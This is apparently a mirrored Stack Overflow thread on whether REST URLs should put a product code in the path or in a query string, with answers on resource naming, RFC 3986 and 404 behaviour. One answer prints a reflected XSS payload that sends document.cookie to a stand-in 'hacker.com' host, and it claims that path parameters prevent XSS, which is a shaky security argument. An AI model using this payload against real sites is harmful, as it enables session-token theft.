Querystring in REST Resource url

前端 未结 10 1700
天命终不由人
天命终不由人 2020-11-28 19:34

I had a discussion with a colleague today around using query strings in REST URLs. Take these 2 examples:

1. http://localhost/findbyproductcode/4xxheua
2. ht         


        
相关标签:
10条回答
  • 2020-11-28 19:45

    By the REST client the URI structure does not matter, because it follows links annotated with semantics, and never parses the URI.

    By the developer who writes the routing logic and the link generation logic, and probably want to understand log by checking the URLs the URI structure does matter. By REST we map URIs to resources and not to operations - Fielding dissertation / uniform interface / identification of resources.

    So both URI structures are probably flawed, because they contain verbs in their current format.

    1. /findbyproductcode/4xxheua
    2. /findbyproductcode?productcode=4xxheua

    You can remove find from the URIs this way:

    1. /products/code:4xxheua
    2. /products?code="4xxheua"

    From a REST perspective it does not matter which one you choose.

    You can define your own naming convention, for example: "by reducing the collection to a single resource using an unique identifier, the unique identifier must be always part of the path and not the query". This is just the same what the URI standard states: the path is hierarchical, the query is non-hierarchical. So I would use /products/code:4xxheua.

    0 讨论(0)
  • 2020-11-28 19:47

    In typical REST API's, example #1 is more correct. Resources are represented as URI and #1 does that more. Returning a 404 when the product code is not found is absolutely the correct behavior. Having said that, I would modify #1 slightly to be a little more expressive like this:

    http://localhost/products/code/4xheaua
    

    Look at other well-designed REST APIs - for example, look at StackOverflow. You have:

    stackoverflow.com/questions
    stackoverflow.com/questions/tagged/rest
    stackoverflow.com/questions/3821663
    

    These are all different ways of getting at "questions".

    0 讨论(0)
  • 2020-11-28 19:47

    This question is deticated to, what is the cleaner approach. But I want to focus on a different aspect, called security. As I started working intensively on application security I found out that a reflected XSS attack can be successfully prevented by using PathParams (appraoch 1) instead of QueryParams (approach 2).

    (Of course, the prerequisite of a reflected XSS attack is that the malicious user input gets reflected back within the html source to the client. Unfortunately some application will do that, and this is why PathParams may prevent XSS attacks)

    The reason why this works is that the XSS payload in combination with PathParams will result in an unknown, undefined URL path due to the slashes within the payload itself.

    http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**

    Whereas this attack will be successful by using a QueryParam!

    http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>
    
    0 讨论(0)
  • 2020-11-28 19:48

    There is no difference between the two URIs from the perspective of the client. URIs are opaque to the client. Use whichever maps more cleanly into your server side infrastructure.

    As far as REST is concerned there is absolutely no difference. I believe the reason why so many people do believe that it is only the path component that identifies the resource is because of the following line in RFC 2396

    The query component is a string of information to be interpreted by the resource.

    This line was later changed in RFC 3986 to be:

    The query component contains non-hierarchical data that, along with data in the path component (Section 3.3), serves to identify a resource

    IMHO this means both query string and path segment are functionally equivalent when it comes to identifying a resource.


    Update to address Steve's comment.

    Forgive me if I object to the adjective "cleaner". It is just way too subjective. You do have a point though that I missed a significant part of the question.

    I think the answer to whether to return 404 depends on what the resource is that is being retrieved. Is it a representation of a search result, or is it a representation of a product? To know this you really need to look at the link relation that led us to the URL.

    If the URL is supposed to return a Product representation then a 404 should be returned if the code does not exist. If the URL returns a search result then it shouldn't return a 404.

    The end result is that what the URL looks like is not the determining factor. Having said that, it is convention that query strings are used to return search results so it is more intuitive to use that style of URL when you don't want to return 404s.

    0 讨论(0)
  • 2020-11-28 19:49

    The ending of those two URIs is not very significant RESTfully.

    However, the 'findbyproductcode' portion could certainly be more restful. Why not just http://localhost/product/4xxheau ?

    In my limited experience, if you have a unique identifier then it would look clean to construct the URI like .../product/{id} However, if product code is not unique, then I might design it more like #2.

    However, as Darrel has observed, the client should not care what the URI looks like.

    0 讨论(0)
  • 2020-11-28 19:56

    There are two use cases for GET

    1. Get a uniquely identified resource
    2. Search for resource(s) based on given criteria

    Use Case 1 Example:

    /products/4xxheua
    Get a uniquely identified product, returns 404 if not found.

    Use Case 2 Example:

    /products?size=large&color=red
    Search for a product, returns list of matching products (0 to many).

    If we look at say the Google Maps API we can see they use a query string for search.

    e.g. http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false

    So both styles are valid for their own use cases.

    0 讨论(0)
提交回复
热议问题